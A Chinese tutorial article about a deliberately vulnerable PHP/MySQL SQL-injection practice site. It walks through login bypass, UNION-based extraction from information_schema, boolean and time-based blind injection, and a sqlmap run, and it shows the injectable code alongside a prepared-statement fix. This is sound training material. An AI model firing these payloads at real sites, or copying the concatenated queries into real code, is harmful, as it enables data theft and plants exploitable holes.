ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

MySQL 后台注入靶场源码:登录绕过、联合查询与数字型盲注实战

MySQL 后台注入靶场源码:登录绕过、联合查询与数字型盲注实战

简介:这是一套面向 Web 安全初学者与渗透测试练习者的漏洞网站源码,围绕后台注入场景提供可本地或空间部署的测试环境,适合用来理解注入成因、验证防御思路并开展靶场演练。压缩包共 844 个文件,约 4.95MB,以 291 个 PHP 页面为核心,配套 106 个 HTML 页面、67 个 JavaScript 文件、16 个 CSS 样式表及大量 GIF、PNG、JPEG 图片资源,另含 SQL 建库脚本、XML 配置、SWF 素材与字体文件,前后台结构相对完整,便于按模块阅读与调试。目前已有 829 人学习或下载,说明其在入门靶场与课程实验中有一定参考价值。读者可从中获得一套可直接搭建的漏洞站点样例,结合后台入口、数据库脚本与页面资源观察注入点分布,并据此设计测试用例、记录复现过程,形成从环境准备到漏洞验证的完整练习闭环。

1. 从一条拼歪的登录 SQL 说起:这套 mysql 后台注入靶场源码是拿来练手的

' or 1=1 #打进后台登录框,页面直接跳进管理面板——在线上系统里这是事故,在本地环境里这就是最便宜的教材。这份 mysql 后台注入靶场源码是一套刻意留洞的 PHP + MySQL 小站点,带后台登录、商品搜索、商品详情三个入口,分别对应字符型注入、联合查询注入和数字型盲注三条典型路线。它适合刚学完 SQL 基础、想找个地方把 payload 真正打出去的人,也适合给新人做安全编码培训时当反面样本:代码短、链路清楚,出问题的地方一眼能看见。整套东西文件不多,本地起一个 PHP 环境加一个 MySQL 实例就能跑,不依赖任何框架。

2. 源码结构与技术栈:一个请求从 index.php 走到 mysqli_query 的完整链路

2.1 目录骨架:几个 PHP 文件撑起整个攻击面

解压之后先别急着改配置,把目录过一遍,心里有个请求流向的图。这类靶场为了让人看得懂,通常不会做分层,控制器、SQL、HTML 全糊在一个文件里,这恰恰是它好读的原因。

injection-lab/ ├── config.php # 站点级配置:数据库账号、debug 开关、关卡开关 ├── conn.php # 连接层,被所有业务页 require ├── index.php # 首页,商品列表 + 搜索框入口 ├── login.php # 后台登录,字符型注入主战场 ├── search.php # 商品搜索,LIKE 模糊匹配,联合查询入口 ├── product.php # 商品详情,数字型 id 参数,盲注入口 ├── admin/ │ ├── index.php # 登录成功后的后台面板 │ └── logout.php # 清 session 跳回登录页 ├── static/ │ ├── css/bootstrap.min.css │ └── js/jquery.min.js └── sql/ └── init.sql # 建库建表 + 初始数据,必须手动导入
文件职责是否有注入点
conn.php建立 mysqli 连接、设置字符集无,但决定后面所有查询能否跑通
login.php接收 POST 的 username/password,拼 SQL 查 users 表有,字符型
search.php接收 GET 的 kw,拼进 LIKE 语句有,字符型 + 联合查询
product.php接收 GET 的 id,直接拼到WHERE id =后面有,数字型
admin/index.php校验 session 后展示管理数据一般无,靠登录绕过进入

看这张表就明白设计意图了:三个入口分别对应三种注入类型,登录框练的是「闭合引号 + 注释掉后半段」,搜索框练的是「猜字段数 + 找回显位」,详情页练的是「没有回显时怎么用布尔和时间把数据一位一位抠出来」。这种一课一练的排布,比那种把所有洞堆在一个参数上的靶场要好用得多。

2.2 技术栈:为什么故意不用框架

这套代码是裸 PHP 过程式写法,没有 Composer、没有路由、没有模板引擎,前端就是 Bootstrap 加 jQuery 直接引静态文件。原因很直接:一旦上了 ORM 或者 PDO 预处理,参数化查询会自动把注入点堵死,靶场就没得练了。

常见的组合是 PHP 7.x + MySQL 5.7 + Apache 或 Nginx,跑在 Windows 上用集成环境最省事,Linux 上直接用系统包也行。这里有个必须提前确认的点:连接层用的是mysqli_*还是更老的mysql_*。前者 PHP 7 及以上都能跑,后者在 PHP 7.0 就被移除了,打开页面会直接 Fatal error。判断方法很简单,打开conn.php搜一下函数名就知道了。

<?php // conn.php —— 连接层,所有业务页都会 require 这个文件 $DB_HOST = '127.0.0.1'; $DB_PORT = 3306; $DB_USER = 'root'; $DB_PASS = 'root'; $DB_NAME = 'inj_lab'; // 面向过程写法,和业务页里的 mysqli_query 保持同一套 API $link = mysqli_connect($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME, $DB_PORT); if (!$link) { // 靶场环境可以把错误直接吐出来,方便定位 die('数据库连接失败: ' . mysqli_connect_error()); } // 字符集必须和建表时一致,否则中文关键词搜索会乱码 mysqli_set_charset($link, 'utf8mb4');

这段代码本身没有洞,但它决定了后面所有注入能不能成立。参数逐个说一下:$DB_HOST和$DB_PORT指向本地实例,如果你用的是集成环境自带的 MySQL,端口八成是 3306;$DB_USER和$DB_PASS必须和实际账号对上,很多人卡在「页面白屏」就是这里还留着默认的 root/root;$DB_NAME要和init.sql里建的库名一致,改库名就得两边一起改。mysqli_set_charset这行容易被忽略,但它影响的是LIKE '%中文%'这类查询的匹配结果,字符集对不上时搜索永远是空结果,会让人误以为是注入打不通。

还有一点值得注意:mysqli_query单次只执行一条语句,不支持用分号堆叠多条 SQL。所以在这套靶场里试; drop table users是打不动的,这不是你姿势错了,是 API 本身的限制。想练堆叠注入得换mysqli_multi_query或者 PDO 的exec,那是另一个话题。

2.3 数据库设计:三张表把「练什么」安排明白

sql/init.sql是整个靶场的地基,里面通常包含账号表、业务表和一两个藏着答案的表。导入之前先扫一眼表结构,能省掉后面很多猜测。

-- sql/init.sql —— 建库、建表、灌初始数据 CREATE DATABASE IF NOT EXISTS inj_lab DEFAULT CHARACTER SET utf8mb4; USE inj_lab; -- 后台账号表,密码存 md5,role=1 表示管理员 CREATE TABLE users ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL, password CHAR(32) NOT NULL, role TINYINT NOT NULL DEFAULT 0, created_at DATETIME DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; INSERT INTO users (username, password, role) VALUES ('admin', MD5('admin123'), 1), ('guest', MD5('guest123'), 0); -- 商品表,搜索页和详情页都查它 CREATE TABLE products ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, title VARCHAR(120) NOT NULL, price DECIMAL(10,2) NOT NULL, stock INT NOT NULL DEFAULT 0 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; INSERT INTO products (title, price, stock) VALUES ('机械键盘', 399.00, 20), ('显示器', 1299.00, 8), ('鼠标垫', 29.90, 100);

建表语句里两个细节值得留意。第一,users.password定长 32 位,说明存的是 MD5 原文而不是加盐哈希,这意味着后面拿到数据可以直接去撞库验证,练手时能直观看到「数据库里到底存了什么」。第二,products只有三列,这个列数是有讲究的——联合查询时你要先猜出字段数,三列不多不少,order by 3正常、order by 4报错,新手第一次做字段探测就能得到明确反馈,不会一上来就被复杂的宽表劝退。

init.sql里通常还会有一张名字不那么起眼的表,比如flags或者secrets,用来放「拿到管理员权限后才该看到」的数据。这张表的存在意义是给练习设一个终点:不是能登进后台就算完,而是要能从数据库里把它查出来。

3. 本地跑起来:从建库、改配置到访问第一个注入点

3.1 环境准备:把站点根目录放对位置

集成环境是这类靶场最省事的跑法,Windows 上装个带 Apache + MySQL + PHP 的面板,Linux 上用系统自带的包也行。关键是两件事:PHP 版本和站点根目录。

如果conn.php里是mysqli_connect,PHP 7.2 到 7.4 区间最稳;如果看到的是mysql_connect,那必须降到 PHP 5.6 或者手动改代码。这一步别硬扛,版本不对就是一片 Fatal error 糊脸上,跟代码写得对不对没关系。

站点目录一般是集成环境的www或者htdocs。把解压出来的injection-lab整个文件夹塞进去,访问路径就是http://127.0.0.1/injection-lab/。如果你嫌路径长,把文件夹里的内容直接铺到根目录也行,但要记得后面所有 URL 都少一级。

# Linux 上手动起环境的典型步骤(集成面板可跳过) sudo apt install -y apache2 mysql-server php php-mysql sudo systemctl start apache2 mysql # 把源码放进站点根目录,并给出写权限(有些靶场要写缓存文件) sudo cp -r injection-lab /var/www/html/ sudo chown -R www-data:www-data /var/www/html/injection-lab

这几条命令的含义很直白:装 Apache、装 MySQL、装 PHP 和它的 MySQL 扩展,然后把目录拷过去改属主。php-mysql这个包千万别漏,漏了的话mysqli_connect会报「Call to undefined function」,页面上什么提示都没有,只有一个白屏,很容易被误判成代码坏了。

提示:靶场只在自己机器上跑,不要往任何线上地址上打 payload。本地环境随便折腾,出了事 rm -rf 重来就行,这是靶场存在的全部意义。

3.2 导入数据库与改配置:两步都不能省

建库这一步很多人喜欢用 phpMyAdmin 图形界面点,其实命令行更快也更不容易出错。

# 登录 MySQL 并执行初始化脚本 mysql -u root -p < /var/www/html/injection-lab/sql/init.sql # 验证:能看到 inj_lab 库和三张表就算成功 mysql -u root -p -e "SHOW DATABASES LIKE 'inj_lab'; USE inj_lab; SHOW TABLES;"

<是输入重定向,把文件内容喂给 mysql 客户端执行。执行完用SHOW TABLES回查一眼,正常情况下会列出users、products以及那张藏答案的表。如果报「Access denied」,说明账号密码不对;如果报「Unknown database」,说明脚本里的CREATE DATABASE没执行成功,多半是权限不够。

配置改完之后,先访问首页。首页能正常列出商品,说明 PHP 通了、MySQL 通了、字符集也没问题,这条链路是完整的。如果首页就是白屏,别急着怀疑注入,先去看 Apache 的 error log,九成是连接层或者扩展没装好。

3.3 打通第一个注入点:先确认能进,再谈技巧

进入login.php,先老老实实用admin / admin123登录一次,确认正常账号能进后台。这一步是基线,基线不通,后面所有绕过都无从谈起。

然后试最经典的万能密码,打在用户名框里:

用户名:' or 1=1 # 密码:随便填

拼出来的 SQL 会长这样:

SELECT id, username, role FROM users WHERE username = '' or 1=1 #' AND password = 'xxx' LIMIT 1

#把后面的密码判断整段注释掉了,or 1=1让 WHERE 恒真,于是第一条记录(一般是 admin)被返回,session 写进去,跳转后台。整个过程顺理成章,第一次打出来的时候还是挺有成就感的。

但这里有个高频翻车点,得单独拎出来说:很多人把' or 1=1 #打在密码框里,然后死活进不去。原因是login.php对密码做了md5()处理——你输入的那串字符会先被哈希成一串十六进制,再拼进 SQL,引号和注释符早就面目全非了。所以在这套代码里,注入点只在用户名参数上。判断注入点在哪,看的不是哪个框看起来更「像」,而是看代码里哪个变量被原样拼进了语句。

登录绕过成功后,后台面板通常只显示一个欢迎语和几个假数据。真正要练的是接着用搜索页和详情页把数据库里的内容掏出来,那才是这套靶场的核心。

4. 核心漏洞代码拆解:登录绕过、联合查询与盲注三种形态

4.1 登录绕过:字符串拼接 + 注释符的组合拳

登录页的漏洞代码短得离谱,但正是这种短,把「为什么会有注入」讲得最清楚。

<?php // login.php —— 后台登录处理逻辑(节选) require __DIR__ . '/conn.php'; session_start(); $msg = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $u = $_POST['username'] ?? ''; $p = md5($_POST['password'] ?? ''); // 注意:密码先哈希再拼 // 危险点:用户输入直接进 SQL,没有任何转义 $sql = "SELECT id, username, role FROM users WHERE username = '$u' AND password = '$p' LIMIT 1"; $res = mysqli_query($link, $sql); if ($res && mysqli_num_rows($res) > 0) { $row = mysqli_fetch_assoc($res); $_SESSION['uid'] = $row['id']; $_SESSION['role'] = $row['role']; header('Location: admin/index.php'); exit; } $msg = '账号或密码错误'; }

逐行看。$u原样取自$_POST,没有任何过滤,这就给引号闭合留了口子。$p被md5()包了一层,所以密码参数是「安全」的——不是代码写得对,而是哈希函数的输出天然只含十六进制字符,塞不进特殊符号。$sql用双引号拼接,$u两侧是单引号,所以 payload 必须先闭合单引号,再加#把后面的' AND password = ...注释掉。mysqli_num_rows > 0是判定条件,只要查到记录就放行,没有校验role是否等于 1,这也是个隐藏问题:普通用户登进来也能进后台。

改造方向很明显,把拼接换成预处理:

$stmt = mysqli_prepare($link, "SELECT id, username, role FROM users WHERE username = ? AND password = ? LIMIT 1"); mysqli_stmt_bind_param($stmt, 'ss', $u, $p); mysqli_stmt_execute($stmt);

?是占位符,bind_param的'ss'表示两个参数都是字符串。这样用户输入永远只被当成数据,不会被解析成 SQL 语法,注入点直接消失。这段改法建议自己动手替换一遍,对比一下同样的 payload 打进去之后是什么效果——页面会老老实实提示「账号或密码错误」,因为整串' or 1=1 #被当成一个用户名字面量去匹配了。

4.2 联合查询:先猜字段数,再找回显位

搜索页的洞在 LIKE 语句里,配合 UNION 可以把别的表的数据直接回显到页面上。

<?php // search.php —— 商品搜索(节选) require __DIR__ . '/conn.php'; $kw = $_GET['kw'] ?? ''; $sql = "SELECT id, title, price FROM products WHERE title LIKE '%$kw%'"; $res = mysqli_query($link, $sql); if ($res) { while ($row = mysqli_fetch_assoc($res)) { echo '<li>' . htmlspecialchars($row['title']) . ' - ' . $row['price'] . '</li>'; } }

$kw被塞进%...%中间,所以闭合方式是%',不是单纯一个引号。这是 LIKE 注入和外头普通字符型注入的区别,很多人第一次打会漏掉那个百分号。

打之前先确认字段数,短视频里常说的「order by 探字段」就是这个:

http://127.0.0.1/injection-lab/search.php?kw=%' order by 3 %23 http://127.0.0.1/injection-lab/search.php?kw=%' order by 4 %23

第二条报「Unknown column '4' in 'order clause'」,说明查询只有 3 列。注意#在 URL 里必须写成%23,直接写#会被浏览器当成锚点截断,请求根本发不出去——这个细节坑过不少人。

字段数确定后,找回显位:

?kw=%' union select 1,2,3 %23 ?kw=%' union select 1,database(),user() %23

页面上对应的位置会打印出库名和当前数据库用户。接下来就是常规套路,先从information_schema.tables拿表名,再拿列名,最后直接查数据:

?kw=%' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

group_concat把多行结果拼成一行,避免只显示第一条。table_schema=database()限定在当前库,不然会把整个实例的表都列出来,看着乱。

回显位不一定三个都显示。有些页面只 echo 了title字段,那另外两列就白查了,得把 payload 挪到能显示的那一列上。判断方法是先打1,2,3看一眼页面上出现了哪几个数字,剩下的就不用管了。

4.3 盲注分支:没有回显时怎么把数据一位一位抠出来

详情页是数字型注入,id直接拼在等号后面,页面只会告诉你「有这个商品」或者「没有」,不吐任何数据。这就是盲注场景。

<?php // product.php —— 商品详情(节选) require __DIR__ . '/conn.php'; $id = $_GET['id'] ?? '0'; $sql = "SELECT id, title, price FROM products WHERE id = $id"; $res = mysqli_query($link, $sql); if ($res && mysqli_num_rows($res) > 0) { echo '商品存在'; } else { echo '商品不存在'; }

因为$id两侧没有引号,所以不需要闭合,直接接and或者or就行。布尔盲注的做法是构造一个真假可判的条件:

?product.php?id=1 and substr(database(),1,1)='i'

如果页面显示「商品存在」,说明database()的第一个字符是i;显示「商品不存在」就换一个字符继续试。这样一位一位爆破完整库名,纯手工很折磨,实际练习时用脚本或者 sqlmap 更现实。

时间盲注用在页面连真假都分不出来的场景——比如错误和成功返回的 HTML 完全一样。这时候靠响应时间判断:

?product.php?id=1 and if(substr(database(),1,1)='i',sleep(3),0)

条件成立就睡 3 秒,不成立立刻返回。if(条件, 真值, 假值)是 MySQL 的内置函数,sleep(3)的单位是秒。用 sqlmap 时可以一句话跑完:

# 只在自己搭的本地环境上验证 sqlmap -u "http://127.0.0.1/injection-lab/product.php?id=1" --batch --dbs

--batch表示所有交互选项用默认值,--dbs表示只枚举库名。跑之前先手工确认注入点存在,别上来就让工具乱扫,工具报「not injectable」的时候你连是姿势问题还是代码问题都分不清。

5. 避坑与排查:跑不起来、打不通的那几件事

5.1 五类高频故障的现象、成因与处置

现象一:整站白屏,Apache 日志里一行Call to undefined function mysqli_connect()。原因是没有安装 PHP 的 MySQL 扩展,或者装错了版本(比如装的是php7.4-mysql但实际跑的是 8.1)。解决办法是先php -v确认版本,再装对应版本的扩展,装完重启 Apache 或 PHP-FPM。集成环境里在面板的「PHP 扩展」里勾上 mysqli 即可,勾完必须重启才生效。

现象二:页面能开,但首页商品列表是空的,也没有报错。大概率是conn.php里的库名或账号密码和实际不一致,mysqli_connect失败了但die()没触发(有些版本会静默返回 false)。排查办法是在conn.php末尾临时加一行var_dump($link);,看看是不是bool(false),再对照mysqli_connect_error()的输出改配置。

现象三:中文关键词搜索永远搜不到东西。字符集问题。建库时用了utf8mb4,连接层没调mysqli_set_charset,或者调的是utf8,两边对不上就会出现「数据明明在,就是匹配不上」。统一成utf8mb4,建库、建表、连接三处都要一致。

现象四:万能密码打进去还是提示密码错误。两个可能:一是 payload 打在了密码框,被md5()吃掉了;二是#后面没加空格在某些 MySQL 版本里不被识别为注释。标准的注释是#或者--(两个减号加一个空格),后者更通用。改打在用户名框,用' or 1=1 --再试一次。

现象五:sqlmap 跑半天报 not injectable,但手工明明能打通。最常见的原因是 URL 里的#没编码成%23,工具把它当成片段标识截断了;其次是没带 cookie,登录后的页面需要 session 才返回正常结果。加--cookie="PHPSESSID=xxx"再跑一遍,或者用--data走 POST。

5.2 数据与权限层面的两个隐形坑

第一个坑是 MySQL 8 的默认认证插件。MySQL 8.0 之后默认用caching_sha2_password,老版本的 PHP mysqli 扩展可能连不上,报「The server requested authentication method unknown to the client」。解决办法要么把账号改成mysql_native_password,要么升级 PHP 的 mysqlnd。这不是靶场代码的问题,但在新机器上跑老靶场时几乎必踩。

-- 把账号认证方式改回兼容模式(仅本地靶场环境) ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root'; FLUSH PRIVILEGES;

第二条命令是刷新权限表,不改的话前面的修改不生效。这套操作只在本地练习环境做,正式环境不要这么干。

第二个坑是mysqli_query只执行单条语句这件事。想验证堆叠注入的人会试1; select sleep(3),然后发现毫无反应,以为是 payload 写错了。实际上从 PHP 这一层就被拦住了,跟 WAF 无关。想练堆叠,得把mysqli_query换成mysqli_multi_query,但那已经改动了靶场本身,属于下一章的改造范围。

注意:每次改完conn.php或config.php都要重启一次 PHP 服务。集成环境里不重启的话,OPcache 可能还缓存着旧文件,改了跟没改一样,会白白浪费半小时。

6. 二次开发:把靶场改成自己的教学关卡

这套源码最值钱的地方不是漏洞本身,而是它的结构足够简单,简单到你可以把它当模板,改造成自己需要的关卡集合。我一般会做三件事。

第一件是把注入点配置化。新建一个levels.php,把每个关卡的参数名、注入类型、过滤强度写成数组,业务页统一从配置里读,这样加一关只要改配置不用动逻辑:

<?php // levels.php —— 关卡配置,业务页按 level 参数加载 return [ 1 => ['file' => 'login.php', 'param' => 'username', 'type' => 'char', 'filter' => 'none'], 2 => ['file' => 'search.php', 'param' => 'kw', 'type' => 'like', 'filter' => 'none'], 3 => ['file' => 'product.php', 'param' => 'id', 'type' => 'int', 'filter' => 'intval'], ];

filter字段决定这一关用不用intval或者mysqli_real_escape_string,同一份代码换个配置就是不同的难度,非常适合做分级练习。

第二件是加一个「修复对照」开关。在config.php里放一个SAFE_MODE常量,业务页根据它决定走拼接还是走预处理,练完注入之后把开关打开,同样的 payload 再打一遍,看着它失效,比看十篇防御文章都有用。

改造点改动量收益
关卡配置化新增 1 个文件,改 3 处 require加关卡不改核心逻辑
SAFE_MODE 开关每页加一个 if 分支正反对照,理解预处理的价值
日志表新增 1 张表,在查询前写一行复盘时能看到完整 payload

第三件是给每次请求记一条日志,把原始 payload、执行耗时、返回行数都存下来。盲注练习尤其需要这个,靠肉眼看响应时间太累,有日志表之后直接select * from logs order by cost desc就能看出哪条 payload 触发了 sleep。

改的时候有个细节要注意:别把admin/index.php的 session 校验一起改掉。很多人为了加关卡顺手重构了登录态,结果后台进不去了,排查半天发现是session_start()被挪到了require后面。这种低级错误我犯过一次,从那以后每次动公共文件之前都先git init提交一版,出问题直接git checkout .回滚,比靠记忆改回来靠谱得多。希望帮到你。

本文还有配套的精品资源,点击获取

返回列表